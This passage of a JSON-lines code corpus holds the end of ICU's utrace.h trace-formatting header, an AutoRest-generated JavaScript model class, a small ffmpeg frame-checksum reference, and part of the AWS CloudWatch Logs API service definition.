ICU trace format strings contain plain text with argument inserts,\n * much like standard printf format strings.\n * Each insert begins with a '%', then optionally contains a 'v',\n * then exactly one type character.\n * Two '%' in a row represent a '%' instead of an insert.\n * The trace format strings need not have \\n at the end.\n *\n *\n * Types\n * -----\n *\n * Type characters:\n * - c A char character in the default codepage.\n * - s A NUL-terminated char * string in the default codepage.\n * - S A UChar * string. Requires two params, (ptr, length). Length=-1 for nul term.\n * - b A byte (8-bit integer).\n * - h A 16-bit integer. Also a 16 bit Unicode code unit.\n * - d A 32-bit integer. Also a 20 bit Unicode code point value. \n * - l A 64-bit integer.\n * - p A data pointer.\n *\n * Vectors\n * -------\n *\n * If the 'v' is not specified, then one item of the specified type\n * is passed in.\n * If the 'v' (for \"vector\") is specified, then a vector of items of the\n * specified type is passed in, via a pointer to the first item\n * and an int32_t value for the length of the vector.\n * Length==-1 means zero or NUL termination. Works for vectors of all types.\n *\n * Note: %vS is a vector of (UChar *) strings. The strings must\n * be nul terminated as there is no way to provide a\n * separate length parameter for each string. The length\n * parameter (required for all vectors) is the number of\n * strings, not the length of the strings.\n *\n * Examples\n * --------\n *\n * These examples show the parameters that will be passed to an application's\n * UTraceData() function for various formats.\n *\n * - the precise formatting is up to the application!\n * - the examples use type casts for arguments only to _show_ the types of\n * arguments without needing variable declarations in the examples;\n * the type casts will not be necessary in actual code\n *\n * UTraceDataFunc(context, fnNumber, level,\n * \"There is a character %c in the string %s.\", // Format String \n * (char)c, (const char *)s); // varargs parameters\n * -> There is a character 0x42 'B' in the string \"Bravo\".\n *\n * UTraceDataFunc(context, fnNumber, level,\n * \"Vector of bytes %vb vector of chars %vc\",\n * (const uint8_t *)bytes, (int32_t)bytesLength,\n * (const char *)chars, (int32_t)charsLength);\n * -> Vector of bytes\n * 42 63 64 3f [4]\n * vector of chars\n * \"Bcd?\"[4]\n *\n * UTraceDataFunc(context, fnNumber, level,\n * \"An int32_t %d and a whole bunch of them %vd\",\n * (int32_t)-5, (const int32_t *)ints, (int32_t)intsLength);\n * -> An int32_t 0xfffffffb and a whole bunch of them\n * fffffffb 00000005 0000010a [3]\n *\n */\n\n\n\n/**\n * Trace output Formatter. An application's UTraceData tracing functions may call\n * back to this function to format the trace output in a\n * human readable form. Note that a UTraceData function may choose\n * to not format the data; it could, for example, save it in\n * in the raw form it was received (more compact), leaving\n * formatting for a later trace analyis tool.\n * @param outBuf pointer to a buffer to receive the formatted output. Output\n * will be nul terminated if there is space in the buffer -\n * if the length of the requested output < the output buffer size.\n * @param capacity Length of the output buffer.\n * @param indent Number of spaces to indent the output. Intended to allow\n * data displayed from nested functions to be indented for readability.\n * @param fmt Format specification for the data to output\n * @param args Data to be formatted.\n * @return Length of formatted output, including the terminating NUL.\n * If buffer capacity is insufficient, the required capacity is returned. \n * @stable ICU 2.8\n */\nU_STABLE int32_t U_EXPORT2\nutrace_vformat(char *outBuf, int32_t capacity,\n int32_t indent, const char *fmt, va_list args);\n\n/**\n * Trace output Formatter. An application's UTraceData tracing functions may call\n * this function to format any additional trace data, beyond that\n * provided by default, in human readable form with the same\n * formatting conventions used by utrace_vformat().\n * @param outBuf pointer to a buffer to receive the formatted output. Output\n * will be nul terminated if there is space in the buffer -\n * if the length of the requested output < the output buffer size.\n * @param capacity Length of the output buffer.\n * @param indent Number of spaces to indent the output. Intended to allow\n * data displayed from nested functions to be indented for readability.\n * @param fmt Format specification for the data to output\n * @param ... Data to be formatted.\n * @return Length of formatted output, including the terminating NUL.\n * If buffer capacity is insufficient, the required capacity is returned. \n * @stable ICU 2.8\n */\nU_STABLE int32_t U_EXPORT2\nutrace_format(char *outBuf, int32_t capacity,\n int32_t indent, const char *fmt, ...);\n\n\n\n/* Trace function numbers --------------------------------------------------- */\n\n/**\n * Get the name of a function from its trace function number.\n *\n * @param fnNumber The trace number for an ICU function.\n * @return The name string for the function.\n *\n * @see UTraceFunctionNumber\n * @stable ICU 2.8\n */\nU_STABLE const char * U_EXPORT2\nutrace_functionName(int32_t fnNumber);\n\nU_CDECL_END\n\n#endif\n"} {"text": "/*\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Licensed under the MIT License. See License.txt in the project root for\n * license information.\n *\n * Code generated by Microsoft (R) AutoRest Code Generator.\n * Changes may cause incorrect behavior and will be lost if the code is\n * regenerated.\n */\n\n'use strict';\n\n/**\n * Class representing a LegacyUpdateCheckResponseUpdateInfo.\n */\nclass LegacyUpdateCheckResponseUpdateInfo {\n /**\n * Create a LegacyUpdateCheckResponseUpdateInfo.\n * @property {string} [appVersion]\n * @property {string} [description]\n * @property {boolean} [isDisabled]\n * @property {boolean} [isMandatory]\n * @property {number} [rollout]\n * @property {string} [downloadURL]\n * @property {boolean} isAvailable\n * @property {number} [packageSize]\n * @property {boolean} [shouldRunBinaryVersion]\n * @property {boolean} [updateAppVersion]\n * @property {string} [packageHash]\n * @property {string} [label]\n */\n constructor() {\n }\n\n /**\n * Defines the metadata of LegacyUpdateCheckResponseUpdateInfo\n *\n * @returns {object} metadata of LegacyUpdateCheckResponseUpdateInfo\n *\n */\n mapper() {\n return {\n required: false,\n serializedName: 'LegacyUpdateCheckResponse_updateInfo',\n type: {\n name: 'Composite',\n className: 'LegacyUpdateCheckResponseUpdateInfo',\n modelProperties: {\n appVersion: {\n required: false,\n serializedName: 'appVersion',\n type: {\n name: 'String'\n }\n },\n description: {\n required: false,\n serializedName: 'description',\n type: {\n name: 'String'\n }\n },\n isDisabled: {\n required: false,\n serializedName: 'isDisabled',\n type: {\n name: 'Boolean'\n }\n },\n isMandatory: {\n required: false,\n serializedName: 'isMandatory',\n type: {\n name: 'Boolean'\n }\n },\n rollout: {\n required: false,\n serializedName: 'rollout',\n type: {\n name: 'Number'\n }\n },\n downloadURL: {\n required: false,\n serializedName: 'downloadURL',\n type: {\n name: 'String'\n }\n },\n isAvailable: {\n required: true,\n serializedName: 'isAvailable',\n type: {\n name: 'Boolean'\n }\n },\n packageSize: {\n required: false,\n serializedName: 'packageSize',\n type: {\n name: 'Number'\n }\n },\n shouldRunBinaryVersion: {\n required: false,\n serializedName: 'shouldRunBinaryVersion',\n type: {\n name: 'Boolean'\n }\n },\n updateAppVersion: {\n required: false,\n serializedName: 'updateAppVersion',\n type: {\n name: 'Boolean'\n }\n },\n packageHash: {\n required: false,\n serializedName: 'packageHash',\n type: {\n name: 'String'\n }\n },\n label: {\n required: false,\n serializedName: 'label',\n type: {\n name: 'String'\n }\n }\n }\n }\n };\n }\n}\n\nmodule.exports = LegacyUpdateCheckResponseUpdateInfo;\n"} {"text": "#tb 0: 1/25\n#media_type 0: video\n#codec_id 0: rawvideo\n#dimensions 0: 256x256\n#sar 0: 0/1\n0, 0, 0, 1, 196608, 0xada11d14\n"} {"text": "{\n \"version\":\"2.0\",\n \"metadata\":{\n \"apiVersion\":\"2014-03-28\",\n \"endpointPrefix\":\"logs\",\n \"jsonVersion\":\"1.1\",\n \"protocol\":\"json\",\n \"serviceFullName\":\"Amazon CloudWatch Logs\",\n \"signatureVersion\":\"v4\",\n \"targetPrefix\":\"Logs_20140328\"\n },\n \"operations\":{\n \"CancelExportTask\":{\n \"name\":\"CancelExportTask\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"CancelExportTaskRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"InvalidOperationException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"CreateExportTask\":{\n \"name\":\"CreateExportTask\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"CreateExportTaskRequest\"},\n \"output\":{\"shape\":\"CreateExportTaskResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"LimitExceededException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ResourceAlreadyExistsException\"}\n ]\n },\n \"CreateLogGroup\":{\n \"name\":\"CreateLogGroup\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"CreateLogGroupRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceAlreadyExistsException\"},\n {\"shape\":\"LimitExceededException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"CreateLogStream\":{\n \"name\":\"CreateLogStream\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"CreateLogStreamRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceAlreadyExistsException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DeleteDestination\":{\n \"name\":\"DeleteDestination\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DeleteDestinationRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DeleteLogGroup\":{\n \"name\":\"DeleteLogGroup\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DeleteLogGroupRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DeleteLogStream\":{\n \"name\":\"DeleteLogStream\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DeleteLogStreamRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DeleteMetricFilter\":{\n \"name\":\"DeleteMetricFilter\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DeleteMetricFilterRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DeleteRetentionPolicy\":{\n \"name\":\"DeleteRetentionPolicy\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DeleteRetentionPolicyRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DeleteSubscriptionFilter\":{\n \"name\":\"DeleteSubscriptionFilter\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DeleteSubscriptionFilterRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DescribeDestinations\":{\n \"name\":\"DescribeDestinations\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DescribeDestinationsRequest\"},\n \"output\":{\"shape\":\"DescribeDestinationsResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DescribeExportTasks\":{\n \"name\":\"DescribeExportTasks\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DescribeExportTasksRequest\"},\n \"output\":{\"shape\":\"DescribeExportTasksResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DescribeLogGroups\":{\n \"name\":\"DescribeLogGroups\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DescribeLogGroupsRequest\"},\n \"output\":{\"shape\":\"DescribeLogGroupsResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DescribeLogStreams\":{\n \"name\":\"DescribeLogStreams\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DescribeLogStreamsRequest\"},\n \"output\":{\"shape\":\"DescribeLogStreamsResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DescribeMetricFilters\":{\n \"name\":\"DescribeMetricFilters\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DescribeMetricFiltersRequest\"},\n \"output\":{\"shape\":\"DescribeMetricFiltersResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"DescribeSubscriptionFilters\":{\n \"name\":\"DescribeSubscriptionFilters\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"DescribeSubscriptionFiltersRequest\"},\n \"output\":{\"shape\":\"DescribeSubscriptionFiltersResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"FilterLogEvents\":{\n \"name\":\"FilterLogEvents\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"FilterLogEventsRequest\"},\n \"output\":{\"shape\":\"FilterLogEventsResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"GetLogEvents\":{\n \"name\":\"GetLogEvents\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"GetLogEventsRequest\"},\n \"output\":{\"shape\":\"GetLogEventsResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"PutDestination\":{\n \"name\":\"PutDestination\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"PutDestinationRequest\"},\n \"output\":{\"shape\":\"PutDestinationResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"PutDestinationPolicy\":{\n \"name\":\"PutDestinationPolicy\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"PutDestinationPolicyRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"PutLogEvents\":{\n \"name\":\"PutLogEvents\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"PutLogEventsRequest\"},\n \"output\":{\"shape\":\"PutLogEventsResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"InvalidSequenceTokenException\"},\n {\"shape\":\"DataAlreadyAcceptedException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"PutMetricFilter\":{\n \"name\":\"PutMetricFilter\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"PutMetricFilterRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"LimitExceededException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"PutRetentionPolicy\":{\n \"name\":\"PutRetentionPolicy\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"PutRetentionPolicyRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"PutSubscriptionFilter\":{\n \"name\":\"PutSubscriptionFilter\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"PutSubscriptionFilterRequest\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"OperationAbortedException\"},\n {\"shape\":\"LimitExceededException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n },\n \"TestMetricFilter\":{\n \"name\":\"TestMetricFilter\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/\"\n },\n \"input\":{\"shape\":\"TestMetricFilterRequest\"},\n \"output\":{\"shape\":\"TestMetricFilterResponse\"},\n \"errors\":[\n {\"shape\":\"InvalidParameterException\"},\n {\"shape\":\"ServiceUnavailableException\"}\n ]\n }\n },\n \"shapes\":{\n \"AccessPolicy\":{\n \"type\":\"string\",\n \"min\":1\n },\n \"Arn\":{\"type\":\"string\"},\n \"CancelExportTaskRequest\":{\n \"type\":\"structure\",\n \"required\":[\"taskId\"],\n \"members\":{\n \"taskId\":{\"shape\":\"ExportTaskId\"}\n }\n },\n \"CreateExportTaskRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"from\",\n \"to\",\n \"destination\"\n ],\n \"members\":{\n \"taskName\":{\"shape\":\"ExportTaskName\"},\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"logStreamNamePrefix\":{\"shape\":\"LogStreamName\"},\n \"from\":{\"shape\":\"Timestamp\"},\n \"to\":{\"shape\":\"Timestamp\"},\n \"destination\":{\"shape\":\"ExportDestinationBucket\"},\n \"destinationPrefix\":{\"shape\":\"ExportDestinationPrefix\"}\n }\n },\n \"CreateExportTaskResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"taskId\":{\"shape\":\"ExportTaskId\"}\n }\n },\n \"CreateLogGroupRequest\":{\n \"type\":\"structure\",\n \"required\":[\"logGroupName\"],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"}\n }\n },\n \"CreateLogStreamRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"logStreamName\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"logStreamName\":{\"shape\":\"LogStreamName\"}\n }\n },\n \"DataAlreadyAcceptedException\":{\n \"type\":\"structure\",\n \"members\":{\n \"expectedSequenceToken\":{\"shape\":\"SequenceToken\"}\n },\n \"exception\":true\n },\n \"Days\":{\"type\":\"integer\"},\n \"DefaultValue\":{\"type\":\"double\"},\n \"DeleteDestinationRequest\":{\n \"type\":\"structure\",\n \"required\":[\"destinationName\"],\n \"members\":{\n \"destinationName\":{\"shape\":\"DestinationName\"}\n }\n },\n \"DeleteLogGroupRequest\":{\n \"type\":\"structure\",\n \"required\":[\"logGroupName\"],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"}\n }\n },\n \"DeleteLogStreamRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"logStreamName\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"logStreamName\":{\"shape\":\"LogStreamName\"}\n }\n },\n \"DeleteMetricFilterRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"filterName\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"filterName\":{\"shape\":\"FilterName\"}\n }\n },\n \"DeleteRetentionPolicyRequest\":{\n \"type\":\"structure\",\n \"required\":[\"logGroupName\"],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"}\n }\n },\n \"DeleteSubscriptionFilterRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"filterName\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"filterName\":{\"shape\":\"FilterName\"}\n }\n },\n \"Descending\":{\"type\":\"boolean\"},\n \"DescribeDestinationsRequest\":{\n \"type\":\"structure\",\n \"members\":{\n \"DestinationNamePrefix\":{\"shape\":\"DestinationName\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"DescribeLimit\"}\n }\n },\n \"DescribeDestinationsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"destinations\":{\"shape\":\"Destinations\"},\n \"nextToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"DescribeExportTasksRequest\":{\n \"type\":\"structure\",\n \"members\":{\n \"taskId\":{\"shape\":\"ExportTaskId\"},\n \"statusCode\":{\"shape\":\"ExportTaskStatusCode\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"DescribeLimit\"}\n }\n },\n \"DescribeExportTasksResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"exportTasks\":{\"shape\":\"ExportTasks\"},\n \"nextToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"DescribeLimit\":{\n \"type\":\"integer\",\n \"max\":50,\n \"min\":1\n },\n \"DescribeLogGroupsRequest\":{\n \"type\":\"structure\",\n \"members\":{\n \"logGroupNamePrefix\":{\"shape\":\"LogGroupName\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"DescribeLimit\"}\n }\n },\n \"DescribeLogGroupsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"logGroups\":{\"shape\":\"LogGroups\"},\n \"nextToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"DescribeLogStreamsRequest\":{\n \"type\":\"structure\",\n \"required\":[\"logGroupName\"],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"logStreamNamePrefix\":{\"shape\":\"LogStreamName\"},\n \"orderBy\":{\"shape\":\"OrderBy\"},\n \"descending\":{\"shape\":\"Descending\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"DescribeLimit\"}\n }\n },\n \"DescribeLogStreamsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"logStreams\":{\"shape\":\"LogStreams\"},\n \"nextToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"DescribeMetricFiltersRequest\":{\n \"type\":\"structure\",\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"filterNamePrefix\":{\"shape\":\"FilterName\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"DescribeLimit\"},\n \"metricName\":{\"shape\":\"MetricName\"},\n \"metricNamespace\":{\"shape\":\"MetricNamespace\"}\n }\n },\n \"DescribeMetricFiltersResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"metricFilters\":{\"shape\":\"MetricFilters\"},\n \"nextToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"DescribeSubscriptionFiltersRequest\":{\n \"type\":\"structure\",\n \"required\":[\"logGroupName\"],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"filterNamePrefix\":{\"shape\":\"FilterName\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"DescribeLimit\"}\n }\n },\n \"DescribeSubscriptionFiltersResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"subscriptionFilters\":{\"shape\":\"SubscriptionFilters\"},\n \"nextToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"Destination\":{\n \"type\":\"structure\",\n \"members\":{\n \"destinationName\":{\"shape\":\"DestinationName\"},\n \"targetArn\":{\"shape\":\"TargetArn\"},\n \"roleArn\":{\"shape\":\"RoleArn\"},\n \"accessPolicy\":{\"shape\":\"AccessPolicy\"},\n \"arn\":{\"shape\":\"Arn\"},\n \"creationTime\":{\"shape\":\"Timestamp\"}\n }\n },\n \"DestinationArn\":{\n \"type\":\"string\",\n \"min\":1\n },\n \"DestinationName\":{\n \"type\":\"string\",\n \"max\":512,\n \"min\":1,\n \"pattern\":\"[^:*]*\"\n },\n \"Destinations\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"Destination\"}\n },\n \"EventId\":{\"type\":\"string\"},\n \"EventMessage\":{\n \"type\":\"string\",\n \"min\":1\n },\n \"EventNumber\":{\"type\":\"long\"},\n \"EventsLimit\":{\n \"type\":\"integer\",\n \"max\":10000,\n \"min\":1\n },\n \"ExportDestinationBucket\":{\n \"type\":\"string\",\n \"max\":512,\n \"min\":1\n },\n \"ExportDestinationPrefix\":{\"type\":\"string\"},\n \"ExportTask\":{\n \"type\":\"structure\",\n \"members\":{\n \"taskId\":{\"shape\":\"ExportTaskId\"},\n \"taskName\":{\"shape\":\"ExportTaskName\"},\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"from\":{\"shape\":\"Timestamp\"},\n \"to\":{\"shape\":\"Timestamp\"},\n \"destination\":{\"shape\":\"ExportDestinationBucket\"},\n \"destinationPrefix\":{\"shape\":\"ExportDestinationPrefix\"},\n \"status\":{\"shape\":\"ExportTaskStatus\"},\n \"executionInfo\":{\"shape\":\"ExportTaskExecutionInfo\"}\n }\n },\n \"ExportTaskExecutionInfo\":{\n \"type\":\"structure\",\n \"members\":{\n \"creationTime\":{\"shape\":\"Timestamp\"},\n \"completionTime\":{\"shape\":\"Timestamp\"}\n }\n },\n \"ExportTaskId\":{\n \"type\":\"string\",\n \"max\":512,\n \"min\":1\n },\n \"ExportTaskName\":{\n \"type\":\"string\",\n \"max\":512,\n \"min\":1\n },\n \"ExportTaskStatus\":{\n \"type\":\"structure\",\n \"members\":{\n \"code\":{\"shape\":\"ExportTaskStatusCode\"},\n \"message\":{\"shape\":\"ExportTaskStatusMessage\"}\n }\n },\n \"ExportTaskStatusCode\":{\n \"type\":\"string\",\n \"enum\":[\n \"CANCELLED\",\n \"COMPLETED\",\n \"FAILED\",\n \"PENDING\",\n \"PENDING_CANCEL\",\n \"RUNNING\"\n ]\n },\n \"ExportTaskStatusMessage\":{\"type\":\"string\"},\n \"ExportTasks\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"ExportTask\"}\n },\n \"ExtractedValues\":{\n \"type\":\"map\",\n \"key\":{\"shape\":\"Token\"},\n \"value\":{\"shape\":\"Value\"}\n },\n \"FilterCount\":{\"type\":\"integer\"},\n \"FilterLogEventsRequest\":{\n \"type\":\"structure\",\n \"required\":[\"logGroupName\"],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"logStreamNames\":{\"shape\":\"InputLogStreamNames\"},\n \"startTime\":{\"shape\":\"Timestamp\"},\n \"endTime\":{\"shape\":\"Timestamp\"},\n \"filterPattern\":{\"shape\":\"FilterPattern\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"EventsLimit\"},\n \"interleaved\":{\"shape\":\"Interleaved\"}\n }\n },\n \"FilterLogEventsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"events\":{\"shape\":\"FilteredLogEvents\"},\n \"searchedLogStreams\":{\"shape\":\"SearchedLogStreams\"},\n \"nextToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"FilterName\":{\n \"type\":\"string\",\n \"max\":512,\n \"min\":1,\n \"pattern\":\"[^:*]*\"\n },\n \"FilterPattern\":{\n \"type\":\"string\",\n \"max\":1024,\n \"min\":0\n },\n \"FilteredLogEvent\":{\n \"type\":\"structure\",\n \"members\":{\n \"logStreamName\":{\"shape\":\"LogStreamName\"},\n \"timestamp\":{\"shape\":\"Timestamp\"},\n \"message\":{\"shape\":\"EventMessage\"},\n \"ingestionTime\":{\"shape\":\"Timestamp\"},\n \"eventId\":{\"shape\":\"EventId\"}\n }\n },\n \"FilteredLogEvents\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"FilteredLogEvent\"}\n },\n \"GetLogEventsRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"logStreamName\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"logStreamName\":{\"shape\":\"LogStreamName\"},\n \"startTime\":{\"shape\":\"Timestamp\"},\n \"endTime\":{\"shape\":\"Timestamp\"},\n \"nextToken\":{\"shape\":\"NextToken\"},\n \"limit\":{\"shape\":\"EventsLimit\"},\n \"startFromHead\":{\"shape\":\"StartFromHead\"}\n }\n },\n \"GetLogEventsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"events\":{\"shape\":\"OutputLogEvents\"},\n \"nextForwardToken\":{\"shape\":\"NextToken\"},\n 